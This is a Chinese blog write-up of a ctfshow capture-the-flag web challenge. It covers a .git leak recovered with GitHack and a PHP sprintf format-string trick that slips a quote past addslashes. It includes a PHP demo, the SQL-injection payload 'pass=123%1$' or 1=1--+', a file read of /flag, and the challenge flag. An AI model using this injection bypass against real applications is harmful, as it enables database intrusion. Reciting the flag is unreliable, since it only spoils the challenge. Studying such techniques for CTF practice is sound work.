ctfshow 萌新赛 给她

初识: 一开始看到这个题目以为是sql注入,尝试了各种sql注入转义次都注入不了

.git泄露:最后还是看了一下大佬的解题,发现方向就错了,“给她”——“git”,这题的入口是.git泄露。

我是纯小白,看到这又去了解了一次啊.git泄露,有个大佬写得非常详细

https://blog.csdn.net/qq_45521281/article/details/105767428

GitHack下载地址:https://github.com/lijiejie/GitHack

使用: 找到下载目录输入 python GitHack.py https://xxxxxxxxxxxxx/.git/

python2 GitHack.py https://xxxxxxxxxxxxx/.git/为ctfshow给她 赛题的url

打开hint.php

 sprintf漏洞

 https://blog.csdn.net/WQ_BCJ/article/details/85057447

https://blog.csdn.net/alex_bean/article/details/102721959

通过底层实现代码可以发现,sprintf()方法就是对15种类型做了匹配,15种类型以外的就直接break了没有做任何处理,所以就会导致一个问题:

如果我们输入"%\"或者"%1$\",他会把反斜杠当做格式化字符的类型,然而找不到匹配的项那么"%\","%1$\"就因为没有经过任何处理而被替换为空。如果%1$ + 非arg格式类型,程序会无法识别占位符类型,变为空

因此sprintf注入的原理就是用一个15种类型之外的"\" 来代替格式字符类型让函数替换为空,则“%1$\'”后面的单引号就能闭合前面的单引号。

此外,还要注意函数addslashes()作用是返回在预定义字符之前添加反斜杠的字符串。预定义字符是单引号(')双引号(")反斜杠(\)NULL。比如下图,这样就造成了得结果是我们无法在注入的过程当中使用单引号(’)

 

举一个例子


<?php
//addslashes()函数:在预定义前面加反斜杠,预定义符有单引号('),双引号("),反斜杠(\),NULL
$input = addslashes ("%1$' or 1=1#" );
$b = sprintf ("AND b='%s'", $input );
echo $b;
echo '<br/>';
$sql = sprintf ("SELECT * FROM t WHERE a='%s' $b ", 'admin' );
//对$input与$b进行了拼接
//$sql = sprintf ("SELECT * FROM t WHERE a='%s' AND b='%1$\' and 1=1#' ", 'admin' );
//很明显,这个句子里面的\是由addsashes为了转义单引号而加上的,使用%s与%1$\类匹配admin,那么admin只会出现在%s里,%1$\为空
echo  $sql ;
?>

 输出:

那么这里要构造%1$ + 非arg格式类型,1是因为%数量大于arg数量

?name='admin'&pass=123%1$' or 1=1--+

addslashes()将'转义成\' 则passpass=123%1$\'

最后$sql为

select * from user where name='admin' and pass='123' or 1=1--+'

 来到了这个页面

 查看源码

flag就在这个页面

抓个包

cookie中发现奇怪的地方,解码看看

 

 尝试用php伪协议

没有显示

 

 使file=/flag

 得到flag

ctfshow{4ef5edb8-d547-4400-9759-9027180b531f}

 萌新赛真难!!!

 

 

  • 3
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值